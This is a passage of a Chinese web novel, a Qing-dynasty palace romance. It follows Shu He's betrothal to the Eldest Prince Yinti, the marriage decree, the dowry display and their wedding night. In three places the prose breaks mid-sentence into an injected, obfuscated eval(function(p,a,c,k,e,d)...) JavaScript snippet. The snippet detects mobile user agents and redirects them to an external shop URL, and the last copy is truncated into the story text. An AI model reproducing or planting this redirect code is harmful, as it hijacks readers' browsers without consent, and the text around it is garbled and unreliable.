道完谢后,也没等惠妃再次招呼,而是落落大方的坐下,拿起一边的茶水抿了一口,恰好露出手腕上的玉镯,主动为惠妃递上接下来的话题。 上首的惠妃见了,敛眉一笑,更觉舒禾是个难得的聪明人。 拨弄了一下袖口的玉珠,笑着赞道:“好玉配美人,本宫一见你,就觉得这羊脂白玉的镯子甚是配你,如今一见,果然如此,恰好,本宫这里还有一套碧玉的首饰,一会你也顺便带回去吧。” “娘娘所赐,自是极好的,只是……” “只是什么?” “只是这玉都给我了,娘娘又该如何?” 这话惠妃反应了好一会才反应过来这是在拐着弯的夸她美,脸上的笑意不自觉深厚了两分,“本宫这里还有其他的,倒是你,这般嘴甜,怕不是想将本宫的玉都哄到你手里?” 余光瞥了一眼惠妃的笑脸,舒禾就知道她并没有真的生气,而是在开玩笑,然而这话不好接,接不好容易得罪人。 想了想,索性跪下去,直接顺着惠妃的话,佯装内心的想法被拆穿,诚惶诚恐道:“果然什么都瞒不过娘娘,这就被识破了,还请娘娘责罚。” “伊尔根觉罗怎么就出了你这么个妙人?”惠妃擦了擦眼角渗出的眼泪,对捧着礼物盒的翠宛招了招,“去,把格格扶起来,再把这套首饰给她,要不然真对不起格格的句句真言。” “真言不敢称,奴婢只是说了自己认知中的事实。” 闻言,刚止住笑的惠妃没忍住又噗嗤一声笑了出来,“你可真真是个机灵的丫头,不行,我这里不能再留你了,再留啊,我这脸都要笑皱了,翠宛,送觉罗格格回去。” “是,娘娘。” 主人家都赶人了,舒禾也没有赖着不走的道理,落落大方的行了个礼就跟着翠宛走了,只在转身,若有若无的瞟了一眼屏风。 那屏风后边,有一道视线极为灼热,刺的她都有些坐不住了,要不是不能直接告辞,舒禾早就想走了。 待到舒禾离开后,胤褆从屏风后绕出来,对坐在上首的惠妃行了个打千礼后,就迫不及待的问道:“额娘,刚才那人是谁啊?为什么会来你宫中?” 问话时,胤褆在心里面不停祈祷,一定不要是他皇阿玛后宫的女人过来拜见主宫娘娘,要不然……要不然…… 自己肚子里面出来的自己清楚,光是看着胤褆变来变去的脸色,惠妃就窥见了一二胤褆内心的大戏。 喝了口茶水压了压惊,又好整以暇的欣赏了一番胤褆变来变去的脸色,才慢悠悠的说道:“科尔坤家的女儿,这届选秀的秀女,还是……” 说到关键处,惠妃故意停下,可急坏了胤褆这个急脾气的。 “还是什么?额娘你倒是说啊!” “急什么,”惠妃给站在一边的翠蕊递了个眼神,等宫里面的宫女太监都离开后,才道:“还是你未来的福晋。” “嗷!福晋!” 这大嗓门——惠妃抬手捂住耳朵,垂下的睫毛遮住了眼里面满满的嫌弃。 “额娘,她真的是我福晋?皇阿玛亲口说的?下圣旨了吗?什么时候……” 本就烦的惠妃听到这叽叽喳喳的声音就更烦了,忍无可忍的大声吼道:“胤褆!你要是有那使不完,就去练武场,别在本宫这里撒泼!” “额娘,我觉得……” “滚!” 守在门口的翠蕊默默捂住耳朵,听着里面如出一辙的大嗓门,看着院子里面竖着耳朵听懂的人,实在搞不懂这屏退宫人和不屏退宫人有什么区别。 本着在其位服其劳的原则,翠蕊认命的又把一众宫人赶远了一些。 已经离开了得舒禾并不知道她走后延禧宫的闹剧,此刻她正和秋雨在宫里面分配给她们的房间内复盘今天发生的事。 在延禧宫时,秋雨等在殿外,并没有进去,不知道殿内发生的一切,如今听了舒禾的讲述,见她疑心屏风后的到底是谁。 灵光一闪,试探性的说道:“会不会是大阿哥?” “我初时想到的就是他,但是今天并不是宫里面皇阿哥们请安的日子,按照打探出来的消息,他应当在上书房才对。” “那奴婢就想不到还会是谁了。” 要是宝石在就好了,宝石在,就能让他偷摸去屏风后面看一眼是谁,一解心中好奇。 只可惜临近选秀前几天,宝石莫名其妙的昏睡了过去,要不是有留言,舒禾都要以为宝石被某个道士发现,当妖给收了。 摇摇头将关于宝石的事甩出去,对等待她指令的秋雨道:“算了,略过这个问题,继续分析惠妃的态度。” “嗯……” 一主一仆打死也想不到,胤褆直接视上书房的规矩如无物,想翘课就翘课。 窃窃私语中,一晃半个月时间过去,三年一次的选秀在这一天彻底结束。 经过几轮殿选,剩下的秀女对自己的去处已经有了几分猜想,因此,面对午门外家人们的询问应对得可以说是不慌不忙。 而在这一问一答的良好气氛中,偏偏就出了那么两个显眼包。 显眼包一达寿努力踮起脚瞅自家妹妹的身影,左看看右看看,其他人怎么看不知道,舒禾觉得挺丢人的。 显眼包二达福虽然没乱晃,却比乱晃更惹人眼,因为他一个皮肤极黑的人穿了一身正红色! 正红!你敢想一个熊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734936|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样身板的黑壮男子穿正红? 因惠妃传召而晚了那么一些出宫的舒禾满目悲怆,看着这两个显眼包哥哥,不忍直视的闭上眼睛。 抬手遮住半张脸,对站在一边的秋雨悄声道:“快走快走。”能不能体面的离开这午门,可就全看你了。 长久养成的默契,让秋雨瞬间意会舒禾的未尽之言,郑重的点了点头,“格格放心。” 两人混迹于行走的马车中间,眼瞅着就要走过觉罗家的马车时,不知道怎地,掩饰两人行踪的马车突然加速,一下子就将两人暴露在了达福和达寿眼中。 看着对面许久(半个月)未见的妹妹,两人眼睛一亮,见妹妹站在对面不曾往这边看,误以为妹妹没看到他们两个。 赶忙挥手招呼道:“舒禾!舒禾!这里、快过来!” 这一喊,大部分人的目光瞬间被吸引了过来,感受到那些纷杂的视线,舒禾闭了闭眼,快步走到自家马车边,瞪了一眼两个好哥哥,气呼呼的上了马车。 被瞪了的两人颇有些摸不着头脑得互相对视一眼,最终一致将目光投向慢一步赶来的秋雨,想要得个答案。 被两个人高马大的少爷夹在中间,弱小且无助的秋雨默了默,毅然决然地冲上了马车,抱紧了自家主子的大腿。 一路无话,回到家中,舒禾的气已经消得差不多了,只是下马车时看着身穿红衣的大哥不免还是一阵心梗。 与迎上来的额娘对视一眼,悄然瞟了一眼旁边的大哥,以眼神询问这是怎么回事。 苏晚清微微摇了摇头,示意一会回房说,这里不方便,舒禾心领神会的点了点头。 走进府门,苏晚清瞥了一眼两个傻儿子,“达福,去百味楼定一桌子你妹妹喜欢吃的宴席,达寿,去金玉阁将我给你妹妹定的首饰拿来。 至于舒禾,和额娘回屋,额娘有话问你。” “知道了额娘,我们两个这就去。” 两兄弟勾肩搭背的走了,舒禾克制着吃瓜的热切心情,一路端着回了正院,一被苏晚清拉着进了房却再也忍不住了。 急匆匆的就问道:“额娘,大哥他那一身衣服,到底是怎么回事啊?” “你大哥……”苏晚清闭了闭眼,一副往事不堪回首的模样,看的舒禾心里面更是痒痒的。 拉着苏晚清的手晃着,撒娇痴磨着,“额娘,你就告诉我吧,求求你了~” 享受够了女儿的撒娇卖痴,苏晚清才佯装为难的点了点头。 “说来,还和你大哥定亲的那户人家有关。” “定亲的那户人家?他们家不是老太爷过世,要集体守孝三年,着素雅淡服,怎么会和大哥那件衣服扯上关系?” “上个月就出孝了,只是家里面忙着打点你选秀的事,顾不上那头。 我本打算等你选秀过后再去提成亲一事,谁知道那边就等不及送了大红的衣裳过来,这原也没什么打紧的,但是你大哥不知怎地,今天就穿了那身,唉~” 要知道自老大入军营晒黑了之后,她就没再给他准备过这种衬黑的颜色,今天打眼一看,她是一点都没做错。 怪只怪那边送什么不好,偏偏送了这么个颜色…… 苏晚清心下叹了一口气,揉了揉眉心,不欲再在这个事情上多言,转而问道:“入宫选秀可还顺利?有没有不长眼的奴才欺负你?” “没有的额娘,只是我的亲事……” 害怕舒禾多想,苏晚清连忙打断道:“分不到好亲事也无妨,大不了成亲后让你爹多多帮衬。” 闻言,舒禾没忍住噗嗤一声笑了出来,只感觉心里面涨涨的,很是感动。 “额娘,我的亲事非但不会坏,还会是一等一的好。” “一等一的好……是!” 看着额娘惊疑不定的眼神,舒禾缓缓点了点头,随后将这些天和惠妃打过的交道一一道出。 7. 赐婚 说完后,舒禾本想让额娘看看她和秋雨分析的惠妃性格对不对,结果直接被一脸恍惚的额娘派人送回了院子。 回到小院,看着蜂拥而来的侍女们,舒禾也放弃了今天就问清楚的想法,对秋水招了招手,示意她过来。 “参见格格。” “跟我去书房一趟。” “是。” 舒禾和秋水离开后,院中剩下的侍女瞬间一散开来,回归自己原来的职位,至于缠着秋雨给她们讲宫里面的事? 别开玩笑了,先不说她们根本就不熟,就说人家是一等侍女,她们只是些杂役或者三等侍女,也是没有资格缠着秋雨给她们讲故事的。 而有资格缠着秋雨的几个,却是第一时间去准备舒禾一会洗漱要用的东西了。 毕竟秋雨就在那,宫里面的事什么时候都能听,可要是耽误了主子的事,可不是闹着玩的。 书房内,舒禾倚靠在书架上随手抽了一本书出来,听着秋水汇报她离开的这些天院子里面都发生了什么。 待听到有两个新近买进来的丫鬟有些不老实时,轻飘飘的下了决断:“送到其他院中吧。” “是,”秋水应了下来后接着讲道:“除此之外,胭脂铺的老板曾在这半个月间递了次拜贴,只是格格不在,我就擅作主张给推了,您看?” “后天让他来一趟。” 秋水嘴上干脆利落的应下,心里面却在疑惑,为什么非要后天,明天不行吗? 直到第二天宣旨太监拿着赐婚圣旨过来,秋水的疑惑瞬间变成了对自家格格的敬佩,不愧是自家格格,如此的有先见之明! “奉天承运皇帝,诏曰:兵部尚书之女,伊尔根觉罗.舒禾,性温和,秉性端淑……兹指婚大阿哥福晋,责有司择吉日完婚,钦此——” “微臣带家眷谢皇上赐婚。” 待到科尔坤带着全家人朝着紫禁城叩首谢恩后,宣旨太监笑着将圣旨双手递过去,道了声恭喜。 听到这声恭喜,科尔坤不由得朗笑出声,“同喜同喜。” 说话间对着后边挥了挥手,自有人将装了银票的荷包递给宣旨太监。 宣旨太监将荷包收进袖口的瞬间捏了捏,感受到里面是薄薄一片后,脸上的笑意更深了几许。 又配合着科尔坤寒暄了几句才顺势提出告辞,宣旨太监离开后,一家人回到正厅,皆是好奇的看着科尔坤手里面的圣旨。 达寿不停戳着大哥的腰,示意他上。 感觉到腰间的力道越来越重,达福抽了抽嘴角,无奈上前,“阿玛,小妹还是咱们家第一个嫁入皇家的人呢,这赐婚圣旨不如在家里面传阅一下,试试……” “试什么试,咱家就你小妹一个女儿,难不成你要试试你能不能嫁进去?那不用试了,你肯定不行!” “阿玛!你怎么能……” 听着父子两个在那拌嘴,苏晚清笑着握住舒禾的手,也不阻拦,就那样看着。 直到父子两个觉得没劲不吵了,苏晚清才开口:“老爷,舒禾的婚事已经定下,说不得什么时候上面就让完婚了。 只是之前没想到舒禾能嫁入皇家,准备的嫁妆是按照宗室准备的,现在看来,就有些少了,还需紧急再采购一些才是。” 嫁妆不够确实不行,科尔坤想了想,大手一挥豪爽道:“合该是这样,一会让舒禾去我私库里面看看,有看得上眼的,全都拿去。” 达福和达寿对视一眼,达寿上前一步,代表兄弟两个开口,“我和哥这些年也攒了不少东西,也能给小妹添上不少。” 听到两个哥哥和阿玛的话,舒禾抿了抿唇,有些不想要他们的东西,却也不好直接驳了额娘替她讨要嫁妆的面。 只能求助般看向苏晚清,唤道:“额娘……” 苏晚清拍了拍舒禾的手,止住了她的话头,又用眼神示意一边的春分过来,“带格格回我院里面坐会。” 看着舒禾一步三回头的身影,苏晚清端起桌上的茶盏抿了一口茶,与父子商讨起要再添些什么,以及嫁妆箱子做多大比较好。 等到一切拍板定下,天已经擦黑了,苏晚清带着一众侍女回到正院时,就得知舒禾睡在了主卧旁边的房间。 面对春晓询问要不要叫醒舒禾的眼神,苏晚清摇了摇头,“不用,让她睡吧,左右不是什么大事。” 就这样,没人叫,舒禾一觉睡到了次日早上,看着外边蒙蒙亮的天色,舒禾直接蒙了,她这是一觉睡到了第二天?额娘回来了没有叫她吗? 挠了挠乱糟糟的头发,叫人抬水进来洗漱过后,噔噔噔的跑到旁边的房间,搬了个板凳走到正在画眉的苏晚清旁边坐下,也不说话,就那样看着。 苏晚清画好眉放下手中的眉笔,瞥了一眼一直不说话的舒禾,嗔道:“真是越来越没有规矩了。” 这明显没有生气的语气可吓不到被宠了这么多年的舒禾,嘿嘿一笑,双手撑在桌面上凑过去,娇俏的问道:“没规矩那也是额娘宠的,而且,我也就只在额娘面前才没规矩。” “你呀你。”苏晚清隔空点了点舒禾的额头,一脸的无奈宠溺,“也就仗着我是你额娘了。” “对啊,就仗着你是我额娘,额娘、额娘、额娘——” “行了行了,这一迭声的额娘喊的我头疼,先去旁边坐着,吃过饭有事跟你交代。” 听到有事交代,舒禾眼睛一亮,有种终于要到正事了的感觉,搞怪的敬了个礼后麻溜的滚到饭桌旁坐下。 半个时辰后,房间内的下人都被赶了出去,吃过饭的母女两个相依而坐,说着那些不方便被外人知道的事。 “额娘,我手里面的铺子都能赚钱,我手里面也有钱,嫁妆剩下的缺口我自己就能填上,没得让我阿玛他们再用自己的私房补。” “舒禾,你的那些铺子,并不归属于府里,你懂我的意思吗?” 舒禾点了点头,“我懂啊,这些铺子都在我的名下,当然不归属于府里。” 听着舒禾一派天真的脸庞,苏晚清缓缓摇了摇头,“你还是不懂,不懂钱财动人心,不懂你手里面的需守好,更不懂女儿家最重要的是有自己的底气。 至于什么是你的底气,你那些独属于你自己的的店铺是,你阿玛和我给你准备的嫁妆是,你有两个哥哥能给你撑腰的是,还有……” “感情上——” 苏晚清睨了一眼垂头不知在想些什么的女儿,伸手挑住舒禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734937|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的下巴,目光直直的逼视着舒禾,一字一顿道:“足够清醒亦是,时刻清楚自己想要的是什么,怎么才能得到自己想要的东西。” “额娘?” “舒禾你现在不懂没关系,在正式大婚前我会教你,好好学就是,学完,额娘所能教你的就彻底教完了。” “额娘……” 一晃半年过去,舒禾成功从额娘牌培训班中毕业,身上的气质和半年前已大有不同,却总觉得心里面有些怅然若失。 恰逢屋外风声忽大,不一会居然飘起了雪。 舒禾干脆依窗凭栏坐下,抬手透过窗棂去接外边的雪花,接住了,就把手缩回来看两眼,雪化了,就再接。 直到手心一片湿乎乎的,心里面的烦闷也稍减,舒禾才意犹未尽地关窗回屋。 【唔——这一觉睡得可真是久,舒禾?你也在屋里面啊,嗨~】 舒禾看着面前飞舞的巴掌大绿头发小人,瞳孔微缩,不可置信的出声,“宝石……你是宝石先生?你不是……不是一个匣子,怎么?” 【我去升级了,升级完就变成这样了,哎呀,不说我了,说说你,选秀还顺利吗?】 舒禾僵着一张脸,全凭本能回话,“挺顺利的,婚期都定了,五月十八,再有三个月我就要嫁过去了。” 【哇哦,这么迅速?你等等,我去给你找新婚礼物……】 【不是这个——也不是这个,哎?在哪来着,明明早就准备好了的,有了!这个!】 宝石掏出卷好世界地图放到桌上,划拉一下展开。 手指随意在一个地方点了点,瞬间空中就浮现出了只有他们两个能看到的立体地图和地势讲解,几乎是刹那间,舒禾的注意力就全部被吸引了过去。 学着宝石刚才的动作在地图上点了一下,看着眼前细致到丘陵沟壑的地图,眼睛是亮了又亮,激动的看着宝石,一时间不知道该说些什么好。 见状,宝石一撩头发,耍帅道,【不要这么崇拜的看着我,我也会害羞的。】 从未见过宝石自恋样子的舒禾没忍住噗嗤一声笑出了声,“你是升级外观的同时,把性格也改了一部分吗?” 宝石歪头一笑,【也许?】 经此一笑,因宝石外观改变而带来的生疏感瞬间烟消云散,一下午时间两人都窝在房间里面如往常一般说说笑笑。 直到秋霞敲门说要吃晚饭了,方才意犹未尽的停下。 吃饭时,舒禾捻著夹了两筷子菜放到碗里面,想了想,让一边帮忙剔鱼刺的冬至连带房间里面的下人都退了出去。 转而看向桌上捧着小脸一脸严肃盯着她吃饭的宝石,问道:“之前宝石不能吃东西,是因为形态原因,那现在能吃了吗?” 【不能,虽然变成了人形,但是我本质上还是原来那样,吃了这些,我会腐烂。】 闻言,舒禾点了点头,表示明白了,并保证以后给他找更多的宝石让他吃。 【有没有宝石都没关系的,只要一直跟着舒禾,我就很开心了。】 舒禾抿着唇笑,小声道:“和宝石在一起,我也很开心。” “咚咚,格格,夫人那边派人送了东西过来,您看怎么处置?” 8. 大婚 外边突然传来秋雨询问的声音,房间内的两人对视,宝石率先无辜的移开视线,【你额娘送的东西,你看我干什么?】 “对哦,”舒禾抬手拍了拍额头,有被刚才的自己蠢到,清了清嗓子扬声道:“额娘可有交代什么?” “回格格,夫人并没有交代什么。” 没有交代什么就好办了,“直接送到库里面,收好。” “是。” 与此同时,皇宫南三所内,胤褆正焦急的在书房内走来走去,时不时停下往门口张望一眼。 直到一声吱呀声响起,门被打开,一个身材矮小的小太监从门外钻进来,胤褆才停下刚才堪称失态的举动。 三两步走到门口,抓住来人的胳膊问道:“怎么样,东西送过去了吗?” 被抓住的正是胤褆贴身侍候的太监李阔,今天封了胤褆的意思出了躺宫,往外边送了点东西。 现如今听到胤褆的问话,也不耽搁,当即道:“回主子的话,送过去了。” 闻言,胤褆下意识的松了一口气,下一秒又不相信的问了句:“确定真的送过去?” “确定……” “那她收到东西时什么表情?” “啊?”李阔一脸呆滞的看着胤褆,“主……主子,我把东西送给管家的就回来了,没……没见到福晋人。” “废物!这点小事都干不好,我要你有什么用!”胤褆抬脚就想踹,想到什么,又停下动作,一甩袖子,愤愤道:“滚!这半个月别出现在我面前。” “是,奴才这就下去。” “等等!” 李阔停下离开的脚步,疑惑回头,“主子?” “你明天再出去一趟,我这还有些东西不想要了。” 想到今天送出去的好东西,再看看一脸口是心非的主子,李阔表示非常心累。 最后在胤褆许久没得到回应逐渐疑惑的眼神,憋屈了应了声:“……是。” 在胤褆坚持下,直到五月十八大婚前一天晒妆,舒禾都没有间断的每天收到礼物。 舒禾多次收到额娘派人送来的礼物,每次还都没有只言片语。 时间久了,自是疑心送礼物之人是谁,拜托宝石查了一下后,倒是知道了送礼物的是谁。 也通过前来送礼物的李阔送过几次回礼,多是些荷包、手帕之类的东西,而这些回礼,无一不被胤褆稳妥的放好。 有次去给惠妃请安时,不小心手帕漏了一角出来,恰好被惠妃看了个正着,又是引起惠妃对胤褆的一番调侃不提。 晒妆那日,抬嫁妆的队伍前脚进了午门,后脚的还没有从尚书府里面出来,看的围观的百姓又是一阵唏嘘。 “这嫁妆看上去就知道值不少钱,可真是气派啊,便宜大哥了。” “九哥,你这话让大哥听到了,他一定会揍你的。” “蠢货,我是看准了大哥不在才说的。”胤禟扬了扬下巴,配上他那双顾盼生姿的狐狸眼,一派傲娇模样。 看的是个颜控的胤誐一阵花痴,根本就不管胤禟刚刚骂了他蠢,只一个劲的点头。 两人在这说悄悄话的身影胤褆自然是看见了,只是他正忙着嘲讽太子,没空搭理他们两个罢了。 “说来也是高兴,爷这明天就要经历人生三大喜事之一了,哎呀,忘了太子还没有经历过,哈哈哈哈——” 听着胤褆嚣张的笑声,胤礽攥紧拳头,深吸一口气,默念胤褆就是个蠢货、以及皇阿玛喜欢兄友弟恭三遍后,才堪堪压下心口的火气,扯出一个笑来。 “大哥说的哪里话,大哥都没有经历过的事,我这当弟弟的自然是不好僭越,只是……” 胤礽看了看周围围观的人,凑近胤褆耳语道:“只是大哥,你这连个侍妾、通房都没有,当真知道该怎么经历这一喜吗?” “你!” 看着胤褆指着自己的手指,胤礽恶劣一笑,抬手将胤褆的手指按下,轻声细语道:“大哥,手指对着人到底不礼貌,虽然我不介意,但别人可未必不介意啊。” 随着胤礽的话音落下,胤褆不受控制的想到了那些总爱窥探皇家小事,打报告,想要激怒皇阿玛以死明志的史官们。 瞪了一眼笑得得意洋洋的太子,一甩袖应付其他兄弟去了。 被留下的胤禩尴尬对胤礽和胤禛笑笑,追着大阿哥的背影走了。 看着像胤褆跟班一样的胤禩,胤礽眼神里面充满了不解,扭头朝一边的胤禛问道:“你说,老八一个皇阿哥,混成这样,图什么?” “这……弟弟不知。”胤禛低下头,还能为什么,当然是为了在这捧高踩低的皇宫活得好。 日照高悬之时,整整一百一十八抬嫁妆搬运完毕,在这不大的南三所里面堆成了一座座小山。 最上层的箱子盖子大开,透过打开的盖子,能够看到里面闪着光泽的各色金银珠宝以及绫罗绸缎。 这一幕,看得从生下来就没有见过这场景的众阿哥暗自心惊,他们是真没想到,聚一个福晋这么大阵仗。 更没想到,从贫困到暴富只差一个娶福晋。 虽然明面上嫁妆只属于女方,但众阿哥中也不乏有那心眼子灵活的。 譬如九阿哥胤禟,已经盘算好了,他要娶一个巨有钱的媳妇,然后他们夫妻两个一起经商,把这个巨有钱变成巨巨巨有钱,成为大清朝的第一首富! 甭管心里面怎么想,明面上南三所内却是静了好一会才有断断续续的说话声。 日落后,各主子都回去休息了,白天隐匿了一天的宫女和太监开始加班加点的抬嫁妆,势必要在明天之前把这南三所收拾出来,好摆放第二天成亲要用的东西。 要说这些嫁妆单单放到库房肯定是放不下的,放到哪还是个难事。 还是胤褆半夜睡不着出来看嫁妆见了,才给指了地方,直言只要是正院的空房子就都可以放。 就这,正院也好悬全都放下。 并不知道自己的嫁妆还在南三所掀起了一番风波的舒禾,为了第二天成婚时的好状态,此刻已经睡去了。 成婚流程繁琐,次日一早舒禾就被秋雨给叫醒了,迷迷糊糊的看着床幔许久才回过神来。 一回过神,舒禾就意识到不能再拖下去了,抬手拍了拍脸,对欲搀扶的秋雨摆了摆手。 利落的起身下床,简单解决了个人卫生后,走到洗漱台前洗漱,洗漱完,舒禾也彻底清醒了。 换上一早就绣好的嫁衣,端坐在梳妆台前,愣愣的看着镜子里面的自己,一时有些晃神。 “参见夫人。” “起来吧,格格呢?” “回夫人,格格在里间。” 一阵嘈杂声过后,舒禾从镜子里面看到了穿着喜庆眼神却有些哀伤的额娘,张嘴想说些什么,眼泪却没忍住先流了下来。 见状,苏晚清连忙扑上去,用手帕擦了擦舒禾的眼泪,嗔怪道:“你这孩子,就算是舍不得家里,以后也能常回来,怎地就用得着哭了?” “额娘,我……” 苏晚清安慰的拍了拍舒禾的背,“别哭,今日你大婚,哭多了就不好看了,女儿家一生就这么一次的婚礼,我儿要漂漂亮亮的过。” “嗯!” 见舒禾止住了泪,苏晚清背身用手帕擦了擦眼角的泪,拿了根绳子过来坐到舒禾旁边,笑道:“额娘来帮你净面,有些疼,忍一下。” “嗯,我知道的额娘。” 净面上妆后,舒禾被引着端坐于布满红绸的床铺上,看着满目皆红的房间,听着外边逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不多时舒禾就被引到了一间正院的卧房,此刻卧房外站满了宗室命妇,见到舒禾的身影,一拥而上,簇拥着舒禾就走了进去。 听着耳边或真心或假意的恭维,舒禾隔着盖头和她们互相恭维了两句,就被引着端正坐在撒了桂圆等物的床边,不说话了。 只那坐姿,任谁看了,都要说一声规矩好。 时间一点一滴的流逝,胤褆卡着吉时带着一群兄弟过来了,用红纸包了的金秤挑了盖头,和舒禾对视一眼,顿时脸红心跳的移开视线。 移开片刻,又控制不住移回来…… 而舒禾顶着众人调侃的目光,也没忍住红了脸。 在一众或大或小皇阿哥得起哄声中,喝了负责赞礼的命妇送的合卺酒、又红着脸吃了合卺宴后,宗室命妇自觉退出,几个没大没小想要闹事的皇阿哥也被拽走。 室内只余两人,气氛尴尬之际,迎着舒禾水盈盈的眸子,胤褆强装镇定的轻咳一声,撇开视线。 “爷要出去迎客,会晚点回来,一会会有人给你送餐,你先吃着,这院里面的宫女你先用着,李阔也给你留下,就在门口,有什么事说一声就行。 至于你的陪嫁丫鬟,爷让李阔去问了,要明天才能送过来,爷要说就这么多,咳,那什么,你要是没事爷就先走了。” “等等!”舒禾站起身走向欲离开的胤褆,伸手帮他理好歪了的帽子,向后退半步,笑着点了点头,“现下好了,爷慢走。” “你……”胤褆垂在身侧的手指蜷了蜷,红着耳根跑走了。 看着胤褆这跟处一样的表现,舒禾疑惑歪头,是她刚才太主动了吗? 9. 洞房花烛 不过处不处的先不说,胤褆长的是真不错啊,就算是清穿这老鼠尾巴一样的发型都能看出帅来,要是留了长发。 嘶——不敢想不敢想。 还有就是,舒禾发现胤褆长的挺高的,她净身高一米六八,虽然今天没穿花盆底的鞋,但是怎么也有一米七了,站在胤褆身边居然才到他脖子处,差了一个头还…… 【舒禾,你想什么呢,脸色变来变去的?】 脑海中传来宝石询问的声音,舒禾这才想起其他人是出去了,但是宝石却是一直跟着她呢。 掩饰般轻咳一声,摆了摆手,“没想什么,我去叫人进来帮我卸妆。” 看着舒禾急匆匆去叫人的背影,宝石无奈的摇了摇头,飞到房梁了坐好。 临了,又想到今天晚上洞房花烛,房间内不止舒禾一个人,他待在这里不太合适。 飞到舒禾耳边说了声后,宝石随便找了间空房子匿了。 这边,舒禾刚叫了人送水,就听宝石要走,慌里慌张的转身回房想喊住宝石,就见房间里面已经没了宝石的踪影。 偏偏这里还不是府里,而是皇宫,想出去找都不能出去。 一个人待在陌生的房间,这对于有情感依赖症舒禾来说不自在极了。 难挨的挨到了晚上,吱呀一声,门开了,一身酒气走路都走不稳的胤褆被白天见过一面的小太监扶着进来,依稀记得,这个小太监好像叫李阔? 不对,现在不是想这些的时候,舒禾摇了摇头,穿着一身换好的便服走过去扶住胤褆,刚想开口说些什么,就见胤褆先开了口。 “李阔,出去,叫水。” 胤褆说话时,神态清醒,哪还有刚才酒醉的模样,舒禾这时哪还不明白,刚才那都是装的。 松开扶着胤褆的手,“妾参见……” “不用,”胤褆扶住欲行礼的舒禾,拉着舒禾往床边走去,一边走一边道:“平时里不用如此多礼,你是爷的福晋,地位上和爷等同。” 闻言,舒禾只是笑笑不说话,地位等同?这话胤褆说说就行了,她要是真的信了,会死的很惨的。 而胤褆等了半天没有等到意想之中的回答,扭头一看,恰好看到了舒禾脸上的表情,拧着眉问道:“你是不是不信?是不是?” “我告诉你,爷说话向来一言九鼎,说是地位等同就是地位等同,”说到这,见舒禾还是不说话,胤褆挠了挠头,索性朝外边大吼:“李阔!给爷滚进来!” “爷,有什么吩咐?” “你去让所有人都过来,爷要……” 舒禾越听越觉得心惊,这绝对是喝醉了,今天洞房花烛,要是让胤褆干出些什么惊人的事来,明天她绝对要遭殃。 此刻,舒禾也顾不得什么礼仪规矩了,抬手捂住胤褆还欲发言的嘴,对李阔使了个眼色,示意他下去。 使眼色时,舒禾都做好了李阔不会搭理她的准备,谁知道她一使眼色李阔就下去了,听话的仿佛提前被什么人叮嘱过一般。 说到什么人…… 舒禾抬头看向被捂住嘴的胤褆,只见胤褆满脸得意的望着她的手,也不发疯了。 这情况,咋看咋不对劲。 想到什么,舒禾狠狠皱起眉头,“爷算计妾身?” 胤褆拉下捂着嘴的手,带着舒禾朝床铺走去,看着床单上摆放的各色干果,一拉床单,桂圆、花生什么的滚落一地。 抬手摸了摸,确定没有什么膈人的东西后,拉着舒禾坐下,才一脸严肃的开口,“夫妻之间的事,怎么能说得上算计呢?”顶多算是一些小情趣。 而且…… “不是爷,是保清,你小时候就叫过,你也不是妾身,是舒禾,舒禾,叫一声我的名字。” 舒禾看着胤褆期待的神色,默了默才启唇叫道:“是,保……保清。” “嗯。” “呀!你……你放开。” 舒禾推搡着突然扑上来的胤褆,急的脸都红了。 被推了,胤褆也不在意,这力道跟给他挠痒痒一样,如果这不是他福晋,他是肯定要好好嘲笑一番这力气的。 “咚—咚—” “爷,热水准备好了,您看?” 听到水好了的消息,胤褆闻了闻身上的酒味,又闻了闻舒禾身上淡淡的花香味,侧头在舒禾脸上亲了一口。 “等着,爷去洗漱,一会就回来!” 胤褆离开后,舒禾快步跑到梳妆台前,对着镜子看了看,果不其然,刚才被亲到的地方已经红了。 一时间不知道该感慨是她的皮肤嫩,还是胤褆的嘴和那铁皮一样,剌人。 不过该说不说,胤褆刚才的那番话,说得挺中听的。 想到刚才被扯下的床单,舒禾走到门口拉开门,淡淡道:“进去两个人,把床单换了。” “是,福晋。” 一番窸窸窣窣的声音过后,床铺已经恢复整洁,舒禾端坐在整理好的床铺之上,目光落在燃烧着的龙凤花烛上出神。 花烛不知道点了多久,底下的蜡泪堆得老高,明明室内没有风,烛火还是微微摇曳,晕出一圈光晕,看的人头晕。 随着嘎吱一声,门被轻轻打开,有人进来了。 脚步声由远及近,最后停留在身侧,舒禾微微阖眸,不说话的模样尽显娇羞。 看的胤褆口干舌燥又有些不知所措,垂在身侧的手动了动,俯身凑到舒禾脸前,小声询问道:“歇吗?” 已经做好胤褆直接干准备舒禾听到他的声音,整个人都差点炸了。 这话问的,跟问做不做有区别吗?啊?她请问有区别吗? 并没有区别! 舒禾装死不吱声,胤褆也就保持着这样的姿势不动,两人就着这个气氛僵持。 